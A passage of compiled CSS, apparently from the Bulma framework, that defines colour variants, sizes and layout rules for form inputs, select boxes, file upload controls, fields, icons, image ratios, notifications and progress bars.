.input.is-white:focus, .input.is-white.is-focused, .input.is-white:active, .input.is-white.is-active,\n .textarea.is-white:focus,\n .textarea.is-white.is-focused,\n .textarea.is-white:active,\n .textarea.is-white.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 255, 255, 0.25); }\n .input.is-black,\n .textarea.is-black {\n border-color: #0a0a0a; }\n .input.is-black:focus, .input.is-black.is-focused, .input.is-black:active, .input.is-black.is-active,\n .textarea.is-black:focus,\n .textarea.is-black.is-focused,\n .textarea.is-black:active,\n .textarea.is-black.is-active {\n box-shadow: 0 0 0 0.125em rgba(10, 10, 10, 0.25); }\n .input.is-light,\n .textarea.is-light {\n border-color: whitesmoke; }\n .input.is-light:focus, .input.is-light.is-focused, .input.is-light:active, .input.is-light.is-active,\n .textarea.is-light:focus,\n .textarea.is-light.is-focused,\n .textarea.is-light:active,\n .textarea.is-light.is-active {\n box-shadow: 0 0 0 0.125em rgba(245, 245, 245, 0.25); }\n .input.is-dark,\n .textarea.is-dark {\n border-color: #363636; }\n .input.is-dark:focus, .input.is-dark.is-focused, .input.is-dark:active, .input.is-dark.is-active,\n .textarea.is-dark:focus,\n .textarea.is-dark.is-focused,\n .textarea.is-dark:active,\n .textarea.is-dark.is-active {\n box-shadow: 0 0 0 0.125em rgba(54, 54, 54, 0.25); }\n .input.is-primary,\n .textarea.is-primary {\n border-color: #ff4300; }\n .input.is-primary:focus, .input.is-primary.is-focused, .input.is-primary:active, .input.is-primary.is-active,\n .textarea.is-primary:focus,\n .textarea.is-primary.is-focused,\n .textarea.is-primary:active,\n .textarea.is-primary.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 67, 0, 0.25); }\n .input.is-link,\n .textarea.is-link {\n border-color: #3273dc; }\n .input.is-link:focus, .input.is-link.is-focused, .input.is-link:active, .input.is-link.is-active,\n .textarea.is-link:focus,\n .textarea.is-link.is-focused,\n .textarea.is-link:active,\n .textarea.is-link.is-active {\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .input.is-info,\n .textarea.is-info {\n border-color: #209cee; }\n .input.is-info:focus, .input.is-info.is-focused, .input.is-info:active, .input.is-info.is-active,\n .textarea.is-info:focus,\n .textarea.is-info.is-focused,\n .textarea.is-info:active,\n .textarea.is-info.is-active {\n box-shadow: 0 0 0 0.125em rgba(32, 156, 238, 0.25); }\n .input.is-success,\n .textarea.is-success {\n border-color: #23d160; }\n .input.is-success:focus, .input.is-success.is-focused, .input.is-success:active, .input.is-success.is-active,\n .textarea.is-success:focus,\n .textarea.is-success.is-focused,\n .textarea.is-success:active,\n .textarea.is-success.is-active {\n box-shadow: 0 0 0 0.125em rgba(35, 209, 96, 0.25); }\n .input.is-warning,\n .textarea.is-warning {\n border-color: #ffdd57; }\n .input.is-warning:focus, .input.is-warning.is-focused, .input.is-warning:active, .input.is-warning.is-active,\n .textarea.is-warning:focus,\n .textarea.is-warning.is-focused,\n .textarea.is-warning:active,\n .textarea.is-warning.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 221, 87, 0.25); }\n .input.is-danger,\n .textarea.is-danger {\n border-color: #ff3860; }\n .input.is-danger:focus, .input.is-danger.is-focused, .input.is-danger:active, .input.is-danger.is-active,\n .textarea.is-danger:focus,\n .textarea.is-danger.is-focused,\n .textarea.is-danger:active,\n .textarea.is-danger.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 56, 96, 0.25); }\n .input.is-small,\n .textarea.is-small {\n border-radius: 2px;\n font-size: 0.75rem; }\n .input.is-medium,\n .textarea.is-medium {\n font-size: 1.25rem; }\n .input.is-large,\n .textarea.is-large {\n font-size: 1.5rem; }\n .input.is-fullwidth,\n .textarea.is-fullwidth {\n display: block;\n width: 100%; }\n .input.is-inline,\n .textarea.is-inline {\n display: inline;\n width: auto; }\n\n.input.is-rounded {\n border-radius: 290486px;\n padding-left: 1em;\n padding-right: 1em; }\n\n.input.is-static {\n background-color: transparent;\n border-color: transparent;\n box-shadow: none;\n padding-left: 0;\n padding-right: 0; }\n\n.textarea {\n display: block;\n max-width: 100%;\n min-width: 100%;\n padding: 0.625em;\n resize: vertical; }\n .textarea:not([rows]) {\n max-height: 600px;\n min-height: 120px; }\n .textarea[rows] {\n height: initial; }\n .textarea.has-fixed-size {\n resize: none; }\n\n.checkbox,\n.radio {\n cursor: pointer;\n display: inline-block;\n line-height: 1.25;\n position: relative; }\n .checkbox input,\n .radio input {\n cursor: pointer; }\n .checkbox:hover,\n .radio:hover {\n color: #363636; }\n .checkbox[disabled],\n .radio[disabled] {\n color: #7a7a7a;\n cursor: not-allowed; }\n\n.radio + .radio {\n margin-left: 0.5em; }\n\n.select {\n display: inline-block;\n max-width: 100%;\n position: relative;\n vertical-align: top; }\n .select:not(.is-multiple) {\n height: 2.25em; }\n .select:not(.is-multiple):not(.is-loading)::after {\n border-color: #3273dc;\n right: 1.125em;\n z-index: 4; }\n .select.is-rounded select {\n border-radius: 290486px;\n padding-left: 1em; }\n .select select {\n background-color: white;\n border-color: #dbdbdb;\n color: #363636;\n cursor: pointer;\n display: block;\n font-size: 1em;\n max-width: 100%;\n outline: none; }\n .select select::-moz-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .select select::-webkit-input-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .select select:-moz-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .select select:-ms-input-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .select select:hover, .select select.is-hovered {\n border-color: #b5b5b5; }\n .select select:focus, .select select.is-focused, .select select:active, .select select.is-active {\n border-color: #3273dc;\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .select select[disabled] {\n background-color: whitesmoke;\n border-color: whitesmoke;\n box-shadow: none;\n color: #7a7a7a; }\n .select select[disabled]::-moz-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .select select[disabled]::-webkit-input-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .select select[disabled]:-moz-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .select select[disabled]:-ms-input-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .select select::-ms-expand {\n display: none; }\n .select select[disabled]:hover {\n border-color: whitesmoke; }\n .select select:not([multiple]) {\n padding-right: 2.5em; }\n .select select[multiple] {\n height: initial;\n padding: 0; }\n .select select[multiple] option {\n padding: 0.5em 1em; }\n .select:not(.is-multiple):not(.is-loading):hover::after {\n border-color: #363636; }\n .select.is-white:not(:hover)::after {\n border-color: white; }\n .select.is-white select {\n border-color: white; }\n .select.is-white select:hover, .select.is-white select.is-hovered {\n border-color: #f2f2f2; }\n .select.is-white select:focus, .select.is-white select.is-focused, .select.is-white select:active, .select.is-white select.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 255, 255, 0.25); }\n .select.is-black:not(:hover)::after {\n border-color: #0a0a0a; }\n .select.is-black select {\n border-color: #0a0a0a; }\n .select.is-black select:hover, .select.is-black select.is-hovered {\n border-color: black; }\n .select.is-black select:focus, .select.is-black select.is-focused, .select.is-black select:active, .select.is-black select.is-active {\n box-shadow: 0 0 0 0.125em rgba(10, 10, 10, 0.25); }\n .select.is-light:not(:hover)::after {\n border-color: whitesmoke; }\n .select.is-light select {\n border-color: whitesmoke; }\n .select.is-light select:hover, .select.is-light select.is-hovered {\n border-color: #e8e8e8; }\n .select.is-light select:focus, .select.is-light select.is-focused, .select.is-light select:active, .select.is-light select.is-active {\n box-shadow: 0 0 0 0.125em rgba(245, 245, 245, 0.25); }\n .select.is-dark:not(:hover)::after {\n border-color: #363636; }\n .select.is-dark select {\n border-color: #363636; }\n .select.is-dark select:hover, .select.is-dark select.is-hovered {\n border-color: #292929; }\n .select.is-dark select:focus, .select.is-dark select.is-focused, .select.is-dark select:active, .select.is-dark select.is-active {\n box-shadow: 0 0 0 0.125em rgba(54, 54, 54, 0.25); }\n .select.is-primary:not(:hover)::after {\n border-color: #ff4300; }\n .select.is-primary select {\n border-color: #ff4300; }\n .select.is-primary select:hover, .select.is-primary select.is-hovered {\n border-color: #e63c00; }\n .select.is-primary select:focus, .select.is-primary select.is-focused, .select.is-primary select:active, .select.is-primary select.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 67, 0, 0.25); }\n .select.is-link:not(:hover)::after {\n border-color: #3273dc; }\n .select.is-link select {\n border-color: #3273dc; }\n .select.is-link select:hover, .select.is-link select.is-hovered {\n border-color: #2366d1; }\n .select.is-link select:focus, .select.is-link select.is-focused, .select.is-link select:active, .select.is-link select.is-active {\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .select.is-info:not(:hover)::after {\n border-color: #209cee; }\n .select.is-info select {\n border-color: #209cee; }\n .select.is-info select:hover, .select.is-info select.is-hovered {\n border-color: #118fe4; }\n .select.is-info select:focus, .select.is-info select.is-focused, .select.is-info select:active, .select.is-info select.is-active {\n box-shadow: 0 0 0 0.125em rgba(32, 156, 238, 0.25); }\n .select.is-success:not(:hover)::after {\n border-color: #23d160; }\n .select.is-success select {\n border-color: #23d160; }\n .select.is-success select:hover, .select.is-success select.is-hovered {\n border-color: #20bc56; }\n .select.is-success select:focus, .select.is-success select.is-focused, .select.is-success select:active, .select.is-success select.is-active {\n box-shadow: 0 0 0 0.125em rgba(35, 209, 96, 0.25); }\n .select.is-warning:not(:hover)::after {\n border-color: #ffdd57; }\n .select.is-warning select {\n border-color: #ffdd57; }\n .select.is-warning select:hover, .select.is-warning select.is-hovered {\n border-color: #ffd83d; }\n .select.is-warning select:focus, .select.is-warning select.is-focused, .select.is-warning select:active, .select.is-warning select.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 221, 87, 0.25); }\n .select.is-danger:not(:hover)::after {\n border-color: #ff3860; }\n .select.is-danger select {\n border-color: #ff3860; }\n .select.is-danger select:hover, .select.is-danger select.is-hovered {\n border-color: #ff1f4b; }\n .select.is-danger select:focus, .select.is-danger select.is-focused, .select.is-danger select:active, .select.is-danger select.is-active {\n box-shadow: 0 0 0 0.125em rgba(255, 56, 96, 0.25); }\n .select.is-small {\n border-radius: 2px;\n font-size: 0.75rem; }\n .select.is-medium {\n font-size: 1.25rem; }\n .select.is-large {\n font-size: 1.5rem; }\n .select.is-disabled::after {\n border-color: #7a7a7a; }\n .select.is-fullwidth {\n width: 100%; }\n .select.is-fullwidth select {\n width: 100%; }\n .select.is-loading::after {\n margin-top: 0;\n position: absolute;\n right: 0.625em;\n top: 0.625em;\n transform: none; }\n .select.is-loading.is-small:after {\n font-size: 0.75rem; }\n .select.is-loading.is-medium:after {\n font-size: 1.25rem; }\n .select.is-loading.is-large:after {\n font-size: 1.5rem; }\n\n.file {\n align-items: stretch;\n display: flex;\n justify-content: flex-start;\n position: relative; }\n .file.is-white .file-cta {\n background-color: white;\n border-color: transparent;\n color: #0a0a0a; }\n .file.is-white:hover .file-cta, .file.is-white.is-hovered .file-cta {\n background-color: #f9f9f9;\n border-color: transparent;\n color: #0a0a0a; }\n .file.is-white:focus .file-cta, .file.is-white.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(255, 255, 255, 0.25);\n color: #0a0a0a; }\n .file.is-white:active .file-cta, .file.is-white.is-active .file-cta {\n background-color: #f2f2f2;\n border-color: transparent;\n color: #0a0a0a; }\n .file.is-black .file-cta {\n background-color: #0a0a0a;\n border-color: transparent;\n color: white; }\n .file.is-black:hover .file-cta, .file.is-black.is-hovered .file-cta {\n background-color: #040404;\n border-color: transparent;\n color: white; }\n .file.is-black:focus .file-cta, .file.is-black.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(10, 10, 10, 0.25);\n color: white; }\n .file.is-black:active .file-cta, .file.is-black.is-active .file-cta {\n background-color: black;\n border-color: transparent;\n color: white; }\n .file.is-light .file-cta {\n background-color: whitesmoke;\n border-color: transparent;\n color: #363636; }\n .file.is-light:hover .file-cta, .file.is-light.is-hovered .file-cta {\n background-color: #eeeeee;\n border-color: transparent;\n color: #363636; }\n .file.is-light:focus .file-cta, .file.is-light.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(245, 245, 245, 0.25);\n color: #363636; }\n .file.is-light:active .file-cta, .file.is-light.is-active .file-cta {\n background-color: #e8e8e8;\n border-color: transparent;\n color: #363636; }\n .file.is-dark .file-cta {\n background-color: #363636;\n border-color: transparent;\n color: whitesmoke; }\n .file.is-dark:hover .file-cta, .file.is-dark.is-hovered .file-cta {\n background-color: #2f2f2f;\n border-color: transparent;\n color: whitesmoke; }\n .file.is-dark:focus .file-cta, .file.is-dark.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(54, 54, 54, 0.25);\n color: whitesmoke; }\n .file.is-dark:active .file-cta, .file.is-dark.is-active .file-cta {\n background-color: #292929;\n border-color: transparent;\n color: whitesmoke; }\n .file.is-primary .file-cta {\n background-color: #ff4300;\n border-color: transparent;\n color: #fff; }\n .file.is-primary:hover .file-cta, .file.is-primary.is-hovered .file-cta {\n background-color: #f24000;\n border-color: transparent;\n color: #fff; }\n .file.is-primary:focus .file-cta, .file.is-primary.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(255, 67, 0, 0.25);\n color: #fff; }\n .file.is-primary:active .file-cta, .file.is-primary.is-active .file-cta {\n background-color: #e63c00;\n border-color: transparent;\n color: #fff; }\n .file.is-link .file-cta {\n background-color: #3273dc;\n border-color: transparent;\n color: #fff; }\n .file.is-link:hover .file-cta, .file.is-link.is-hovered .file-cta {\n background-color: #276cda;\n border-color: transparent;\n color: #fff; }\n .file.is-link:focus .file-cta, .file.is-link.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(50, 115, 220, 0.25);\n color: #fff; }\n .file.is-link:active .file-cta, .file.is-link.is-active .file-cta {\n background-color: #2366d1;\n border-color: transparent;\n color: #fff; }\n .file.is-info .file-cta {\n background-color: #209cee;\n border-color: transparent;\n color: #fff; }\n .file.is-info:hover .file-cta, .file.is-info.is-hovered .file-cta {\n background-color: #1496ed;\n border-color: transparent;\n color: #fff; }\n .file.is-info:focus .file-cta, .file.is-info.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(32, 156, 238, 0.25);\n color: #fff; }\n .file.is-info:active .file-cta, .file.is-info.is-active .file-cta {\n background-color: #118fe4;\n border-color: transparent;\n color: #fff; }\n .file.is-success .file-cta {\n background-color: #23d160;\n border-color: transparent;\n color: #fff; }\n .file.is-success:hover .file-cta, .file.is-success.is-hovered .file-cta {\n background-color: #22c65b;\n border-color: transparent;\n color: #fff; }\n .file.is-success:focus .file-cta, .file.is-success.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(35, 209, 96, 0.25);\n color: #fff; }\n .file.is-success:active .file-cta, .file.is-success.is-active .file-cta {\n background-color: #20bc56;\n border-color: transparent;\n color: #fff; }\n .file.is-warning .file-cta {\n background-color: #ffdd57;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .file.is-warning:hover .file-cta, .file.is-warning.is-hovered .file-cta {\n background-color: #ffdb4a;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .file.is-warning:focus .file-cta, .file.is-warning.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(255, 221, 87, 0.25);\n color: rgba(0, 0, 0, 0.7); }\n .file.is-warning:active .file-cta, .file.is-warning.is-active .file-cta {\n background-color: #ffd83d;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .file.is-danger .file-cta {\n background-color: #ff3860;\n border-color: transparent;\n color: #fff; }\n .file.is-danger:hover .file-cta, .file.is-danger.is-hovered .file-cta {\n background-color: #ff2b56;\n border-color: transparent;\n color: #fff; }\n .file.is-danger:focus .file-cta, .file.is-danger.is-focused .file-cta {\n border-color: transparent;\n box-shadow: 0 0 0.5em rgba(255, 56, 96, 0.25);\n color: #fff; }\n .file.is-danger:active .file-cta, .file.is-danger.is-active .file-cta {\n background-color: #ff1f4b;\n border-color: transparent;\n color: #fff; }\n .file.is-small {\n font-size: 0.75rem; }\n .file.is-medium {\n font-size: 1.25rem; }\n .file.is-medium .file-icon .fa {\n font-size: 21px; }\n .file.is-large {\n font-size: 1.5rem; }\n .file.is-large .file-icon .fa {\n font-size: 28px; }\n .file.has-name .file-cta {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0; }\n .file.has-name .file-name {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0; }\n .file.has-name.is-empty .file-cta {\n border-radius: 4px; }\n .file.has-name.is-empty .file-name {\n display: none; }\n .file.is-boxed .file-label {\n flex-direction: column; }\n .file.is-boxed .file-cta {\n flex-direction: column;\n height: auto;\n padding: 1em 3em; }\n .file.is-boxed .file-name {\n border-width: 0 1px 1px; }\n .file.is-boxed .file-icon {\n height: 1.5em;\n width: 1.5em; }\n .file.is-boxed .file-icon .fa {\n font-size: 21px; }\n .file.is-boxed.is-small .file-icon .fa {\n font-size: 14px; }\n .file.is-boxed.is-medium .file-icon .fa {\n font-size: 28px; }\n .file.is-boxed.is-large .file-icon .fa {\n font-size: 35px; }\n .file.is-boxed.has-name .file-cta {\n border-radius: 4px 4px 0 0; }\n .file.is-boxed.has-name .file-name {\n border-radius: 0 0 4px 4px;\n border-width: 0 1px 1px; }\n .file.is-centered {\n justify-content: center; }\n .file.is-fullwidth .file-label {\n width: 100%; }\n .file.is-fullwidth .file-name {\n flex-grow: 1;\n max-width: none; }\n .file.is-right {\n justify-content: flex-end; }\n .file.is-right .file-cta {\n border-radius: 0 4px 4px 0; }\n .file.is-right .file-name {\n border-radius: 4px 0 0 4px;\n border-width: 1px 0 1px 1px;\n order: -1; }\n\n.file-label {\n align-items: stretch;\n display: flex;\n cursor: pointer;\n justify-content: flex-start;\n overflow: hidden;\n position: relative; }\n .file-label:hover .file-cta {\n background-color: #eeeeee;\n color: #363636; }\n .file-label:hover .file-name {\n border-color: #d5d5d5; }\n .file-label:active .file-cta {\n background-color: #e8e8e8;\n color: #363636; }\n .file-label:active .file-name {\n border-color: #cfcfcf; }\n\n.file-input {\n height: 0.01em;\n left: 0;\n outline: none;\n position: absolute;\n top: 0;\n width: 0.01em; }\n\n.file-cta,\n.file-name {\n border-color: #dbdbdb;\n border-radius: 4px;\n font-size: 1em;\n padding-left: 1em;\n padding-right: 1em;\n white-space: nowrap; }\n\n.file-cta {\n background-color: whitesmoke;\n color: #4a4a4a; }\n\n.file-name {\n border-color: #dbdbdb;\n border-style: solid;\n border-width: 1px 1px 1px 0;\n display: block;\n max-width: 16em;\n overflow: hidden;\n text-align: left;\n text-overflow: ellipsis; }\n\n.file-icon {\n align-items: center;\n display: flex;\n height: 1em;\n justify-content: center;\n margin-right: 0.5em;\n width: 1em; }\n .file-icon .fa {\n font-size: 14px; }\n\n.label {\n color: #363636;\n display: block;\n font-size: 1rem;\n font-weight: 700; }\n .label:not(:last-child) {\n margin-bottom: 0.5em; }\n .label.is-small {\n font-size: 0.75rem; }\n .label.is-medium {\n font-size: 1.25rem; }\n .label.is-large {\n font-size: 1.5rem; }\n\n.help {\n display: block;\n font-size: 0.75rem;\n margin-top: 0.25rem; }\n .help.is-white {\n color: white; }\n .help.is-black {\n color: #0a0a0a; }\n .help.is-light {\n color: whitesmoke; }\n .help.is-dark {\n color: #363636; }\n .help.is-primary {\n color: #ff4300; }\n .help.is-link {\n color: #3273dc; }\n .help.is-info {\n color: #209cee; }\n .help.is-success {\n color: #23d160; }\n .help.is-warning {\n color: #ffdd57; }\n .help.is-danger {\n color: #ff3860; }\n\n.field:not(:last-child) {\n margin-bottom: 0.75rem; }\n\n.field.has-addons {\n display: flex;\n justify-content: flex-start; }\n .field.has-addons .control:not(:last-child) {\n margin-right: -1px; }\n .field.has-addons .control:not(:first-child):not(:last-child) .button,\n .field.has-addons .control:not(:first-child):not(:last-child) .input,\n .field.has-addons .control:not(:first-child):not(:last-child) .select select {\n border-radius: 0; }\n .field.has-addons .control:first-child .button,\n .field.has-addons .control:first-child .input,\n .field.has-addons .control:first-child .select select {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0; }\n .field.has-addons .control:last-child .button,\n .field.has-addons .control:last-child .input,\n .field.has-addons .control:last-child .select select {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0; }\n .field.has-addons .control .button:hover, .field.has-addons .control .button.is-hovered,\n .field.has-addons .control .input:hover,\n .field.has-addons .control .input.is-hovered,\n .field.has-addons .control .select select:hover,\n .field.has-addons .control .select select.is-hovered {\n z-index: 2; }\n .field.has-addons .control .button:focus, .field.has-addons .control .button.is-focused, .field.has-addons .control .button:active, .field.has-addons .control .button.is-active,\n .field.has-addons .control .input:focus,\n .field.has-addons .control .input.is-focused,\n .field.has-addons .control .input:active,\n .field.has-addons .control .input.is-active,\n .field.has-addons .control .select select:focus,\n .field.has-addons .control .select select.is-focused,\n .field.has-addons .control .select select:active,\n .field.has-addons .control .select select.is-active {\n z-index: 3; }\n .field.has-addons .control .button:focus:hover, .field.has-addons .control .button.is-focused:hover, .field.has-addons .control .button:active:hover, .field.has-addons .control .button.is-active:hover,\n .field.has-addons .control .input:focus:hover,\n .field.has-addons .control .input.is-focused:hover,\n .field.has-addons .control .input:active:hover,\n .field.has-addons .control .input.is-active:hover,\n .field.has-addons .control .select select:focus:hover,\n .field.has-addons .control .select select.is-focused:hover,\n .field.has-addons .control .select select:active:hover,\n .field.has-addons .control .select select.is-active:hover {\n z-index: 4; }\n .field.has-addons .control.is-expanded {\n flex-grow: 1; }\n .field.has-addons.has-addons-centered {\n justify-content: center; }\n .field.has-addons.has-addons-right {\n justify-content: flex-end; }\n .field.has-addons.has-addons-fullwidth .control {\n flex-grow: 1;\n flex-shrink: 0; }\n\n.field.is-grouped {\n display: flex;\n justify-content: flex-start; }\n .field.is-grouped > .control {\n flex-shrink: 0; }\n .field.is-grouped > .control:not(:last-child) {\n margin-bottom: 0;\n margin-right: 0.75rem; }\n .field.is-grouped > .control.is-expanded {\n flex-grow: 1;\n flex-shrink: 1; }\n .field.is-grouped.is-grouped-centered {\n justify-content: center; }\n .field.is-grouped.is-grouped-right {\n justify-content: flex-end; }\n .field.is-grouped.is-grouped-multiline {\n flex-wrap: wrap; }\n .field.is-grouped.is-grouped-multiline > .control:last-child, .field.is-grouped.is-grouped-multiline > .control:not(:last-child) {\n margin-bottom: 0.75rem; }\n .field.is-grouped.is-grouped-multiline:last-child {\n margin-bottom: -0.75rem; }\n .field.is-grouped.is-grouped-multiline:not(:last-child) {\n margin-bottom: 0; }\n\n@media screen and (min-width: 769px), print {\n .field.is-horizontal {\n display: flex; } }\n\n.field-label .label {\n font-size: inherit; }\n\n@media screen and (max-width: 768px) {\n .field-label {\n margin-bottom: 0.5rem; } }\n\n@media screen and (min-width: 769px), print {\n .field-label {\n flex-basis: 0;\n flex-grow: 1;\n flex-shrink: 0;\n margin-right: 1.5rem;\n text-align: right; }\n .field-label.is-small {\n font-size: 0.75rem;\n padding-top: 0.375em; }\n .field-label.is-normal {\n padding-top: 0.375em; }\n .field-label.is-medium {\n font-size: 1.25rem;\n padding-top: 0.375em; }\n .field-label.is-large {\n font-size: 1.5rem;\n padding-top: 0.375em; } }\n\n.field-body .field .field {\n margin-bottom: 0; }\n\n@media screen and (min-width: 769px), print {\n .field-body {\n display: flex;\n flex-basis: 0;\n flex-grow: 5;\n flex-shrink: 1; }\n .field-body .field {\n margin-bottom: 0; }\n .field-body > .field {\n flex-shrink: 1; }\n .field-body > .field:not(.is-narrow) {\n flex-grow: 1; }\n .field-body > .field:not(:last-child) {\n margin-right: 0.75rem; } }\n\n.control {\n font-size: 1rem;\n position: relative;\n text-align: left; }\n .control.has-icon .icon {\n color: #dbdbdb;\n height: 2.25em;\n pointer-events: none;\n position: absolute;\n top: 0;\n width: 2.25em;\n z-index: 4; }\n .control.has-icon .input:focus + .icon {\n color: #7a7a7a; }\n .control.has-icon .input.is-small + .icon {\n font-size: 0.75rem; }\n .control.has-icon .input.is-medium + .icon {\n font-size: 1.25rem; }\n .control.has-icon .input.is-large + .icon {\n font-size: 1.5rem; }\n .control.has-icon:not(.has-icon-right) .icon {\n left: 0; }\n .control.has-icon:not(.has-icon-right) .input {\n padding-left: 2.25em; }\n .control.has-icon.has-icon-right .icon {\n right: 0; }\n .control.has-icon.has-icon-right .input {\n padding-right: 2.25em; }\n .control.has-icons-left .input:focus ~ .icon,\n .control.has-icons-left .select:focus ~ .icon, .control.has-icons-right .input:focus ~ .icon,\n .control.has-icons-right .select:focus ~ .icon {\n color: #7a7a7a; }\n .control.has-icons-left .input.is-small ~ .icon,\n .control.has-icons-left .select.is-small ~ .icon, .control.has-icons-right .input.is-small ~ .icon,\n .control.has-icons-right .select.is-small ~ .icon {\n font-size: 0.75rem; }\n .control.has-icons-left .input.is-medium ~ .icon,\n .control.has-icons-left .select.is-medium ~ .icon, .control.has-icons-right .input.is-medium ~ .icon,\n .control.has-icons-right .select.is-medium ~ .icon {\n font-size: 1.25rem; }\n .control.has-icons-left .input.is-large ~ .icon,\n .control.has-icons-left .select.is-large ~ .icon, .control.has-icons-right .input.is-large ~ .icon,\n .control.has-icons-right .select.is-large ~ .icon {\n font-size: 1.5rem; }\n .control.has-icons-left .icon, .control.has-icons-right .icon {\n color: #dbdbdb;\n height: 2.25em;\n pointer-events: none;\n position: absolute;\n top: 0;\n width: 2.25em;\n z-index: 4; }\n .control.has-icons-left .input,\n .control.has-icons-left .select select {\n padding-left: 2.25em; }\n .control.has-icons-left .icon.is-left {\n left: 0; }\n .control.has-icons-right .input,\n .control.has-icons-right .select select {\n padding-right: 2.25em; }\n .control.has-icons-right .icon.is-right {\n right: 0; }\n .control.is-loading::after {\n position: absolute !important;\n right: 0.625em;\n top: 0.625em;\n z-index: 4; }\n .control.is-loading.is-small:after {\n font-size: 0.75rem; }\n .control.is-loading.is-medium:after {\n font-size: 1.25rem; }\n .control.is-loading.is-large:after {\n font-size: 1.5rem; }\n\n.icon {\n align-items: center;\n display: inline-flex;\n justify-content: center;\n height: 1.5rem;\n width: 1.5rem; }\n .icon.is-small {\n height: 1rem;\n width: 1rem; }\n .icon.is-medium {\n height: 2rem;\n width: 2rem; }\n .icon.is-large {\n height: 3rem;\n width: 3rem; }\n\n.image {\n display: block;\n position: relative; }\n .image img {\n display: block;\n height: auto;\n width: 100%; }\n .image img.is-rounded {\n border-radius: 290486px; }\n .image.is-square img, .image.is-1by1 img, .image.is-5by4 img, .image.is-4by3 img, .image.is-3by2 img, .image.is-5by3 img, .image.is-16by9 img, .image.is-2by1 img, .image.is-3by1 img, .image.is-4by5 img, .image.is-3by4 img, .image.is-2by3 img, .image.is-3by5 img, .image.is-9by16 img, .image.is-1by2 img, .image.is-1by3 img {\n height: 100%;\n width: 100%; }\n .image.is-square, .image.is-1by1 {\n padding-top: 100%; }\n .image.is-5by4 {\n padding-top: 80%; }\n .image.is-4by3 {\n padding-top: 75%; }\n .image.is-3by2 {\n padding-top: 66.6666%; }\n .image.is-5by3 {\n padding-top: 60%; }\n .image.is-16by9 {\n padding-top: 56.25%; }\n .image.is-2by1 {\n padding-top: 50%; }\n .image.is-3by1 {\n padding-top: 33.3333%; }\n .image.is-4by5 {\n padding-top: 125%; }\n .image.is-3by4 {\n padding-top: 133.3333%; }\n .image.is-2by3 {\n padding-top: 150%; }\n .image.is-3by5 {\n padding-top: 166.6666%; }\n .image.is-9by16 {\n padding-top: 177.7777%; }\n .image.is-1by2 {\n padding-top: 200%; }\n .image.is-1by3 {\n padding-top: 300%; }\n .image.is-16x16 {\n height: 16px;\n width: 16px; }\n .image.is-24x24 {\n height: 24px;\n width: 24px; }\n .image.is-32x32 {\n height: 32px;\n width: 32px; }\n .image.is-48x48 {\n height: 48px;\n width: 48px; }\n .image.is-64x64 {\n height: 64px;\n width: 64px; }\n .image.is-96x96 {\n height: 96px;\n width: 96px; }\n .image.is-128x128 {\n height: 128px;\n width: 128px; }\n\n.notification {\n background-color: whitesmoke;\n border-radius: 4px;\n padding: 1.25rem 2.5rem 1.25rem 1.5rem;\n position: relative; }\n .notification a:not(.button) {\n color: currentColor;\n text-decoration: underline; }\n .notification strong {\n color: currentColor; }\n .notification code,\n .notification pre {\n background: white; }\n .notification pre code {\n background: transparent; }\n .notification > .delete {\n position: absolute;\n right: 0.5rem;\n top: 0.5rem; }\n .notification .title,\n .notification .subtitle,\n .notification .content {\n color: currentColor; }\n .notification.is-white {\n background-color: white;\n color: #0a0a0a; }\n .notification.is-black {\n background-color: #0a0a0a;\n color: white; }\n .notification.is-light {\n background-color: whitesmoke;\n color: #363636; }\n .notification.is-dark {\n background-color: #363636;\n color: whitesmoke; }\n .notification.is-primary {\n background-color: #ff4300;\n color: #fff; }\n .notification.is-link {\n background-color: #3273dc;\n color: #fff; }\n .notification.is-info {\n background-color: #209cee;\n color: #fff; }\n .notification.is-success {\n background-color: #23d160;\n color: #fff; }\n .notification.is-warning {\n background-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .notification.is-danger {\n background-color: #ff3860;\n color: #fff; }\n\n.progress {\n -moz-appearance: none;\n -webkit-appearance: none;\n border: none;\n border-radius: 290486px;\n display: block;\n height: 1rem;\n overflow: hidden;\n padding: 0;\n width: 100%; }\n .progress::-webkit-progress-bar {\n background-color: #dbdbdb; }\n .progress::-webkit-progress-value {\n background-color: #4a4a4a; }\n .progress::-moz-progress-bar {\n background-color: #4a4a4a; }\n .progress::-ms-fill {\n background-color: #4a4a4a;\n border: none; }\n .progress.is-white::-webkit-progress-value {\n background-color: white; }\n .progress.is-white::-moz-progress-bar {\n background-color: white; }\n 